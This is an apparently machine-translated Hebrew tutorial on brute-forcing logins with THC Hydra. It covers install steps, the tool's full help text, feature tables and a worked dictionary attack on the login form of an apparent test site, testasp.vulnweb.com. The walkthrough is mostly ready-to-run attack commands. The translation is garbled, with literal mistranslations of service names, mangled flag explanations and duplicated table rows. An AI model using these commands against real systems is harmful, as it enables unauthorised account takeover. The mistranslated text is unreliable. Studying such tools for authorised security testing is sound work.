סיסמא מוגדרת מבחינה טכנית כמחרוזת תווים סודית המשמשת לאימות או גישה למשאבים. יש לשמור אותו בסתר ולהסתיר מאחרים שאינם רשאים לגשת למשאבים אלה. סיסמאות שימשו עם מחשבים מאז ימי המחשוב הראשונים. אחת ממערכות השיתוף בפעם הראשונה, הוצגה בשנת 1961. הייתה לה פקודת התחברות שביקשה סיסמת משתמש. לאחר הקלדת PASSWORD, המערכת מכבה את מנגנון ההדפסה, במידת האפשר, כך שהמשתמש יוכל להקליד את סיסמתו בפרטיות.
עוצמת הסיסמה היא פונקציה של אורך, מורכבות וחוסר צפי. הוא מודד את היעילות בהתנגדות של ניחוש או שבירה. סיסמאות חלשות, לעומת זאת, מקצרות את הזמן הדרוש כדי לנחש ולקבל גישה לדואר אלקטרוני אישי/ארגוני, נתונים רגישים כמו מידע פיננסי, מידע עסקי, כרטיסי אשראי וכו '.
ישנן דרכים רבות שבהן סיסמא יכולה להיות חלשה בהתאמה לכוח העוצמה של תוכניות התקפה שונות. ההתקפה הפופולרית ביותר מסוג זה היא כוח אכזרי. זוהי שיטת ניסוי וטעייה כמו ניחוש, ניסיון לפענח נתונים מוצפנים כגון סיסמה או הצפנת נתונים המשמשת את תוכנת היישום או כלי הפריצה.
הידרה היא קרקר הכניסה המהיר ביותר ברשת התומך בפרוטוקולי התקפה רבים. הוא מהיר וגמיש מאוד וקל להוסיף מודולים חדשים. כלי זה מאפשר לחוקרים ויועצי אבטחה להראות עד כמה קל יהיה להשיג גישה בלתי מורשית למערכת מרחוק. הידרה נכתבה על ידי ואן האוזר ונתמכה בנוסף על ידי דיוויד מאצ'ייק. בעדכון האחרון פיתוח ההידרה מועבר למאגר github הציבורי בכתובת: https://github.com/vanhauser-thc/thc-hydra.
Hydra נבדקה להרכבה על לינוקס, Windows/Cygwin, Solaris 11, FreeBSD 8.1, OpenBSD, OSX, QNX/Blackberry, והיא זמינה תחת GPLv3 עם הרחבת רישיון מיוחדת של OpenSSL.
THC Hydra תומך בפרוטוקולים אלה: Cisco AAA, Cisco authent, Cisco enable, CVS, FTP, HTTP (S) -FORM-GET, HTTP (S) -FORM-POST, HTTP (S) -GET, HTTP (S) -HEAD , HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MySQL, NNTP, Oracle Listener, Oracle SID, PC-Anywhere, PC-NFS, POP3, PostgreSQL, RDP, Rexec, Rlogin, Rsh, SIP, SMB (NT), SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 ו- v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC ו- XMPP.
השוואת הידרא עם כלי פיצוח אחרים
ישנם גם הרבה כלי קרקר התחברות לצד הידרה, אולם אף אחד מהם אינו תומך ברשימה ענקית של פרוטוקולים ותמיכה במקביל לפריצת התחברות כמו הידרה. הטבלאות להלן מציגות את התוצאה של תכונות, שירותים והשוואת מהירות מול מדוזה ו- ncrack.
מאפיינים
תכונה | הידרה | מדוזה | נקרק |
רישיון | AGPLv3 | GPLv2 | מונחי GPLv2 + Nmap |
תמיכה ב- IPv6 | כן | לא | לא |
ממשק משתמש גרפי | כן | כן | לא |
תמיכה בינלאומית (RFC 4013) | כן | לא | לא |
תמיכה בפרוקסי HTTP | כן | כן | לא |
תמיכה בפרוקסי SOCKS | כן | לא | לא |
פרוטוקולים נתמכים | 51 | 22 | 7 |
שירותים
שֵׁרוּת | פרטים | הידרה | מדוזה | נקרק |
ADAM-6500 | כן | לא | לא | |
חלבון עוברי | כן | כן | לא | |
כּוֹכָבִית | כן | לא | לא | |
סיסמה של סיסקו | כן | לא | לא | |
Cisco Enable | כן | לא | לא | |
CVS | כן | כן | לא | |
ציפור אש | כן | לא | לא | |
FTP | כן | כן | כן | |
תמיכה ב- SSL | AUTH TLS ו- FTP באמצעות SSL | AUTH TLS ו- FTP באמצעות SSL | לא | |
HTTP | שיטות) | קבל, ראש, פוסט | לקבל | לקבל |
אימות בסיסי | כן | כן | כן | |
טופס HTTP | שיטות) | קבל, פוסט | קבל, פוסט | לא |
תמיכה ב- SSL | HTTPS | HTTPS | לא | |
פרוקסי HTTP | אימות בסיסי | כן | לא | לא |
אימות DIGEST-MD5 | כן | לא | לא | |
אימות NTLM | כן | לא | לא | |
תמיכה ב- SSL | HTTPS | לא | לא | |
ספירת כתובת URL של proxy proxy | כן | לא | לא | |
ICQ | v5 | כן 1 | לא | לא |
IMAP | תמיכה ב- LOGIN | כן | כן | לא |
תמיכה ב- AUTH LOGIN | כן | לא | לא | |
תמיכה ב- AUTH PLAIN | כן | כן | לא | |
תמיכה ב- AUTH CRAM-MD5 | כן | לא | לא | |
תמיכה ב- AUTH CRAM-SHA1 | כן | לא | לא | |
תמיכה ב- AUTH CRAM-SHA256 | כן | לא | לא | |
תמיכה ב- AUTH DIGEST-MD5 | כן | לא | לא | |
תמיכה ב- AUTH NTLM | כן | כן | לא | |
תמיכה ב- AUTH SCRAM-SHA1 | כן | לא | לא | |
תמיכה ב- SSL | IMAPS & STARTTLS | IMAPS & STARTTLS | לא | |
IRC | סיסמת שרת כללית | כן | לא | לא |
סיסמת מצב OPER | כן | לא | לא | |
LDAP | v2, תמיכה פשוטה | כן | לא | לא |
v3, תמיכה פשוטה | כן | לא | לא | |
v3, תמיכה ב- AUTH CRAM-MD5 | כן | לא | לא | |
תמיכה ב- AUTH DIGEST-MD5 | כן | |||
תמיכה ב- AUTH NTLM | כן | כן | ||
תמיכה ב- AUTH SCRAM-SHA1 | כן | |||
תמיכה ב- SSL | IMAPS & STARTTLS | IMAPS & STARTTLS | ||
IRC | סיסמת שרת כללית | כן | ||
סיסמת מצב OPER | כן | |||
LDAP | v2, תמיכה פשוטה | כן | ||
v3, תמיכה פשוטה | כן | |||
v3, תמיכה ב- AUTH CRAM-MD5 | כן | |||
תמיכה ב- v3, AUTH DIGEST-MD5 | כן | |||
MS-SQL | כן | כן | ||
MySQL | v3.x | כן | כן | |
v4.x | כן | כן | ||
v5.x | כן | כן | ||
NCP | כן | כן | ||
NNTP | תמיכת משתמש | כן | כן | |
תמיכה ב- AUTH LOGIN | כן | |||
תמיכה ב- AUTH PLAIN | כן | |||
תמיכה ב- AUTH CRAM-MD5 | כן | |||
תמיכה ב- AUTH DIGEST-MD5 | כן | |||
תמיכה ב- AUTH NTLM | כן | |||
תמיכה ב- SSL | STARTTLS ו- NNTP באמצעות SSL | |||
נבואה | מאגר מידע | כן | כן | |
מאזין TNS | כן | |||
ספירת SID | כן | |||
PC-NFS | כן | |||
pcAnywhere | אימות מקורי | כן | כן | |
אימות מבוסס מערכת הפעלה (MS) | כן | |||
POP3 | תמיכת משתמש | כן | כן | כן |
תמיכה ב- APOP | כן | |||
תמיכה ב- AUTH LOGIN | כן | כן | ||
תמיכה ב- AUTH PLAIN | כן | כן | ||
תמיכה ב- AUTH CRAM-MD5 | כן | |||
תמיכה ב- AUTH CRAM-SHA1 | כן | |||
תמיכה ב- AUTH CRAM-SHA256 | כן | |||
תמיכה ב- AUTH DIGEST-MD5 | כן | |||
תמיכה ב- AUTH NTLM | כן | כן | ||
תמיכה ב- SSL | POP3S ו- STARTTLS | POP3S ו- STARTTLS | POP3S | |
PostgreSQL | כן | כן | ||
כּוֹכָבִית | כן | |||
RDP | תחנת עבודה של Windows | כן | כן | כן |
Windows Server | כן | כן | ||
אימות דומיין | כן | כן | ||
REDIS | כן | לא | ||
REXEC | כן | כן | ||
כניסה לאתר | כן | כן | ||
RPCAP | כן | לא | ||
RSH | כן | כן | ||
RTSP | כן | לא | ||
SAP R / 3 | כן | |||
סימנס S7-300 | כן | |||
לגימה | כן | |||
תמיכה ב- SSL | SIP על SSL | |||
SMB | מצב NetBIOS | כן | כן | לא |
מצב מקורי W2K | כן | כן | כן | |
מצב Hash | כן | כן | לא | |
אימות טקסט נקי | כן | כן | ||
LMv1 Auth | כן | כן | כן | |
LMv2 Auth | כן | כן | כן | |
אימות NTLMv1 | כן | כן | כן | |
אימות NTLMv2 | כן | כן | כן | |
SMTP | תמיכה ב- AUTH LOGIN | כן | כן | |
תמיכה ב- AUTH PLAIN | כן | כן | ||
תמיכה ב- AUTH CRAM-MD5 | כן | |||
תמיכה ב- AUTH DIGEST-MD5 | כן | |||
תמיכה ב- AUTH NTLM | כן | כן | ||
תמיכה ב- SSL | SMTPS & STARTTLS | SMTPS & STARTTLS | ||
סיכום משתמש SMTP | Cmd VRFY | כן | כן | |
Cmd EXPN | כן | כן | ||
RCPT ל- cmd | כן | כן | ||
SNMP | v1 | כן | כן | |
v2c | כן | כן | ||
v3 | (אישור MD5/SHA1 בלבד) | |||
גרביים | v5, אימות סיסמה | כן | ||
SSH | v1 | כן | ||
v2 | כן | כן | כן | |
מפתחות SSH | v1, v2 | כן | ||
חתרנות (SVN) | כן | כן | ||
TeamSpeak | TS2 | כן | ||
טלנט | כן | כן | כן | |
XMPP | תמיכה ב- AUTH LOGIN | כן | ||
תמיכה ב- AUTH PLAIN | כן | |||
תמיכה ב- AUTH CRAM-MD5 | כן | |||
תמיכה ב- AUTH DIGEST-MD5 | כן | |||
תמיכה ב- AUTH SCRAM-SHA1 | כן | |||
VMware Auth Daemon | v1.00 / v1.10 | כן | כן | |
תמיכה ב- SSL | כן | כן | ||
VNC | תמיכה בסיסמאות RFB 3.x | כן | כן | |
תמיכה במשתמש RFX 3.x+סיסמה | (UltraVNC בלבד) | |||
תמיכה בסיסמאות RFB 4.x | כן | כן | ||
תמיכה במשתמש RFX 4.x+סיסמה | (UltraVNC בלבד) |
השוואת מהירות
מהירות (בשניות) | הידרה | מדוזה | נקרק |
1 מודול משימה / FTP | 11.93 | 12.97 | 18.01 |
4 משימות / מודול FTP | 4.20 | 5.24 | 9.01 |
16 משימות / מודול FTP | 2.44 | 2.71 | 12.01 |
מודול משימה / SSH v2 | 32.56 | 33.84 | 45.02 |
4 משימות / מודול SSH v2 | 10.95 | שָׁבוּר | החמיץ |
16 משימות / מודול SSH v2 | 5.14 | שָׁבוּר | החמיץ |
זו הייתה הקדמה פשוטה קצרה להידרה. כעת נעבור להתקנה.
התקנת הידרה
הידרה מותקנת מראש ב- kali linux, אולם אם יש לך מערכת הפעלה אחרת תוכל להרכיב ולהתקין אותה במערכת שלך. נכון לעכשיו, התמיכה של הידרה בפלטפורמות שונות:
- כל פלטפורמות UNIX (Linux, *bsd, Solaris וכו ')
- MacOS (בעצם שיבוט BSD)
- Windows עם Cygwin (הן IPv4 והן IPv6)
- מערכות ניידות המבוססות על לינוקס, MacOS או QNX (למשל אנדרואיד, אייפון, Blackberry 10, זאורוס, iPaq)
כדי להוריד, להגדיר, לאסוף ולהתקין הידרה, פשוט הקלד במסוף:
git clone https://github.com/vanhauser-thc/thc-hydra.git cd thc-hydra ./configure make make install
אם יש לך אובונטו/דביאן תזדקק למספר ספריות תלות:
apt install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird-dev libncp-dev
אם לא הצלחת למצוא את הספריות האלה במאגר שלך, עליך להוריד ולהתקין אותן באופן ידני.
אופן השימוש בהיידרה
מזל טוב, עכשיו הצלחת להתקין הידרה על המערכת שלך. למעשה, הידרה מגיעה עם שני טעמים, GUI-gtk והגרסה המועדפת עלי, CLI. ובנוסף להידרה יש גם גרסה מונחית CLI, שנקראת הידר-אשף. תקבל צעד אחר צעד במקום להקליד את כל הפקודות או הארגומנטים באופן ידני במסוף. להפעלת הידרה, מהסוג הטרמינלי שלך:
עבור CLI:
hydra
עבור אשף CLI:
hydra-wizard
עבור GUI:
xhydra
לאחר שתקליד 'הידרה' הוא יציג פקודות עזרה כמו אלה:
[email protected] :~# hydra -h Hydra v8.6 (c)2017 by van Hauser/THC & David Maciejak - for legal purposes only Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvV46] [service://server[:PORT][/OPT]] Options: -R restore a previous aborted/crashed session -S perform an SSL connect -s PORT if the service is on a different default port, define it here -l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE -p PASS or -P FILE try password PASS, or load several passwords from FILE -x MIN:MAX:CHARSET password bruteforce generation, type '-x -h' to get help -e nsr try 'n' null password, 's' login as pass and/or 'r' reversed login -u loop around users, not passwords (effective! implied with -x) -C FILE colon separated 'login:pass' format, instead of -L/-P options -M FILE list of servers to be attacked in parallel, one entry per line -o FILE write found login/password pairs to FILE instead of stdout -f / -F exit when a login/pass pair is found (-M: -f per host, -F global) -t TASKS run TASKS number of connects in parallel (per host, default: 16) -w / -W TIME waittime for responses (32s) / between connects per thread -4 / -6 prefer IPv4 (default) or IPv6 addresses -v / -V / -d verbose mode / show login+pass for each attempt / debug mode -U service module usage details server the target server (use either this OR the -M option) service the service to crack (see below for supported protocols) OPT some service modules support additional input (-U for module help) Supported services: asterisk afp cisco cisco-enable cvs firebird ftp ftps http[s]-head http[s]-post-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-crammd5][s] mssql mysql ncp nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres rdp rexec rlogin rsh s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp Hydra is a tool to guess/crack valid login/password pairs - usage only allowed for legal purposes. This tool is licensed under AGPL v3.0. The newest version is always available at http://www.thc.org/thc-hydra These services were not compiled in: sapr3 oracle. Use HYDRA_PROXY_HTTP or HYDRA_PROXY - and if needed HYDRA_PROXY_AUTH - environment for a proxy setup. E.g.: % export HYDRA_PROXY=socks5://127.0.0.1:9150 (or socks4:// or connect://) % export HYDRA_PROXY_HTTP=http://proxy:8080 % export HYDRA_PROXY_AUTH=user:pass Examples: hydra -l user -P passlist.txt ftp://192.168.0.1 hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN hydra -C defaults.txt -6 pop3s://[fe80::2c:31ff:fe12:ac11]:143/TLS:DIGEST-MD5 hydra -l admin -p password ftp://[192.168.0.0/24]/ hydra -L logins.txt -P pws.txt -M targets.txt ssh
כניסה מבוססת אינטרנט של Bruteforce עם הידרה
הידרה תומכת בשירות ברוטסינג כפי שהזכרתי קודם לכן, אחד מהם משמש בכניסה לאתר אינטרנט מבוסס, כגון טופס התחברות לרשתות חברתיות, טופס התחברות בנקאי למשתמש, הכניסה לנתב שלך באינטרנט וכו '. אשר יטפל בבקשה זו. במדריך זה אני הולך להראות לך כיצד להפעיל כניסות אינטרנט פגיעות. לפני שנפעיל את ההידרה עלינו לדעת כמה טיעונים נחוצים כגון להלן:
- יַעַד : http://testasp.vulnweb.com/Login.asp?RetURL=%2FDefault%2Easp%3F
- שם משתמש להתחברות : מנהל (אם אתה לא בטוח, אכזף את זה)
- רשימת סיסמאות : המיקום של רשימת קבצי המילון המכילה סיסמאות אפשריות.
- פרמטרים של טופס : באופן כללי, השתמש בנתוני חבלה או בפרוקסי כדי להשיג פרמטרים של בקשה. אבל כאן אני משתמש בסרגל הכלים של מפתחי רשת Iceweasel, מבוסס Firefox.
- מודול שירות : http-post-form
Help for module http-post-form: ============================================================================ Module http-post-form requires the page and the parameters for the web form. By default this module is configured to follow a maximum of 5 redirections in a row. It always gathers a new cookie from the same URL without variables The parameters take three ':' separated values, plus optional values. (Note: if you need a colon in the option string as value, escape it with ':', but do not escape a '' with '\'.) Syntax: [url]:[form parameters]:[condition string][:(optional)[:(optional)] First is the page on the server to GET or POST to (URL). Second is the POST/GET variables (taken from either the browser, proxy, etc. with usernames and passwords being replaced in the '^USER^' and '^PASS^' placeholders (FORM PARAMETERS) Third is the string that it checks for an *invalid* login (by default) Invalid condition login check can be preceded by 'F=', successful condition login check must be preceded by 'S='. This is where most people get it wrong. You have to check the webapp what a failed string looks like and put it in this parameter! The following parameters are optional: C=/page/uri to define a different page to gather initial cookies from (h|H)=My-Hdr: foo to send a user defined HTTP header with each request ^USER^ and ^PASS^ can also be put into these headers! Note: 'h' will add the user-defined header at the end regardless it's already being sent by Hydra or not. 'H' will replace the value of that header if it exists, by the one supplied by the user, or add the header at the end Note that if you are going to put colons (:) in your headers you should escape them with a backslash (). All colons that are not option separators should be escaped (see the examples above and below). You can specify a header without escaping the colons, but that way you will not be able to put colons in the header value itself, as they will be interpreted by hydra as option separators.
קבלת פרמטרים של פוסטים באמצעות דפדפן, iceweasel/firefox
בדפדפן Firefox לחץ על מקשים ' CTRL + SHIFT + Q '. לאחר מכן פתח את דף הכניסה לאינטרנטhttp://testasp.vulnweb.com/Login.asp?RetURL=%2FDefault%2Easp%3F, תבחין בטקסט המופיע בכרטיסייה מפתחי הרשת. הוא מספר לך אילו קבצים מועברים אלינו. ראה את השיטה כולם GET, מכיוון שעדיין לא פרסמנו נתונים.
כדי לקבל את הפרמטרים שלאחר הטופס, הקלד כל מה שבצורת שם המשתמש או הסיסמה. תבחין בשיטת POST חדשה בכרטיסייה מפתחי הרשת. לחץ פעמיים על שורה זו, בכרטיסיה כותרות לחץ על ערוך ושולח מחדש בצד ימין. בגוף הבקשה העתק את השורה האחרונה, כגון tfUName = asu & tfUPass = raimu . ה tfUName ו tfUPass הם פרמטרים שאנחנו צריכים. כפי שניתן לראות להלן:
לקאלי לינוקס יש חבורה של רשימות מילים, בחר את רשימת המילים המתאימה או פשוט השתמש במקום rockyou.txt /usr/share/רשימות מילים/ כפי שניתן לראות להלן:
בסדר, עכשיו קיבלנו את כל הטיעונים שאנחנו צריכים ומוכנים להפעיל הידרה. להלן תבנית הפקודה:
hydra -l -P [/code] Finally, based on information we have gathered, our commands ahould look something like this: hydra -l admin -P /usr/share/wordlists/rockyou.txt testasp.vulnweb.com http-post-form '/Login.asp?RetURL=%2FDefault%2Easp%3F:tfUName=^USER^&tfUPass=^PASS^:S=logout' -vV -f
בואו נשבור את הפקודות:
- ה : היא מילה המכילה חשבון שם משתמש, השתמש -L כדי להפנות את רשימת שם המשתמש האפשרי בקובץ.
- פ : היא רשימת קבצים של סיסמה אפשרית, השתמשו ב- -p כדי להשתמש במילה סיסמא מילולית אחת במקום לנחש זאת.
- testapp.vunlwebapp.com : הוא שם מארח או יעד
- http-post-form : הוא מודול השירות בו אנו משתמשים
- /Login.asp?RetURL=%2FDefault%2Easp%3F:tfUName=^USER^&tfUPass=^PASS^:S=logout = 3 הפרמטרים הדרושים, התחביר הוא:
{URL URL}: {בקשה לפרמטרים של טופס גוף ההודעה}: S = {מצא את כל מה שבדף לאחר שהתחברת בהצלחה} - v = מצב מילולי
- ו = הצג התחברות: העבר לכל ניסיון
- ו = הפסק את התוכנית אם התחברות לזוג: סיסמה נמצאה
עכשיו אפשר לתת להידרה לנסות לשבור לנו את הסיסמה, זה דורש זמן מכיוון שמדובר בהתקפת מילון. לאחר שהצלחת למצוא זוג כניסה: סיסמה הידרה תסיים את העבודה באופן מיידי ותציג את האישור התקף.
יש כל כך הרבה מה שהידרה יכולה לעשות, מכיוון שבמדריך זה למדנו כיצד לברוט-פורס באמצעות כניסה לאתר באמצעות hydra, אנו לומדים רק פרוטוקול אחד, כלומר פרוטוקול http-post-form. אנו יכולים גם להשתמש בהידרה כנגד פרוטוקול אחר כגון ssh, ftp, telnet, VNC, proxy וכו '.